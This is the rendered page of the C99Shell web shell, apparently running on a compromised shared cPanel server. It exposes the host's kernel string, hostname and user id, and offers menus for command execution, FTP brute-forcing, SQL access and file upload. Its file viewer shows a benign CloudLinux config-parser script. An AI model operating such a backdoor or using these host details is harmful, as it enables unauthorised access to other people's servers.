!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/opt/alt/python37/lib/python3.7/site-packages/clconfig/   drwxr-xr-x
Free 233.83 GB of 981.82 GB (23.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cl_config_arg_parse.py (2.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# -*- coding: utf-8 -*-

# Command line arguments parser for cloudlinux-config utility

# cloudlinux-config Utility to check/set different Cloudlinux parameters
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

from __future__ import absolute_import
from docopt import docopt
from docopt import DocoptExit
from clcommon.cpapi import is_reseller
from schema import Schema, And, Or, SchemaError


def parse_cloudlinux_config_opts(argv, _is_json_need=False):
    # program name
    prog_name = "cloudlinux-config"

    docstring = """Utility to get/set any Cloudlinux config

    Usage:
        {0} [get] [--json] [--for-reseller <str>]
        {0} [set] [--json] --data <str> [--for-reseller <str>]
        {0} [set] [--json] --reset-inodes-limit
        {0} (-h | --help)

    Options:
        --json                  Return data in JSON format.
        --data <str>            Set parameters from JSON str
        --reset-inodes-limit    Reset inodes limits
        --for-reseller <str>    Set/Get configuration options for specific reseller (only lve-stats)
        -h, --help              Show this help message and exit
    """.format(prog_name)

    try:
        args = docopt(docstring, argv)
    except DocoptExit:
        s_error_string = 'ERROR: Invalid parameter passed'
        if not _is_json_need:
            s_error_string += "\n\n" + docstring
        return False, s_error_string
    if not args["get"] and not args["set"]:
        args["get"] = True

    # uncomment this for add full edit mode
    # gov_int_list = And(Use(lambda x:x.split(",")), lambda x:len(x) == 4,
    #                    Use(lambda x:map(int, x)))
    s = Schema({
        "set": bool,
        "get": bool,
        "--json": And(bool, lambda x: x, error="use --json option, other modes currently unsupported"),
        "--data": Or(None, str),
        "--for-reseller": And(Or(None, str), lambda x: x is None or is_reseller(x), error="non-existent reseller name"),
        "--reset-inodes-limit": bool,
        "--help": bool,
    })

    try:
        args = s.validate(args)
        status = True
    except SchemaError as e:
        args = str(e)
        status = False

    return status, args

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0155 ]--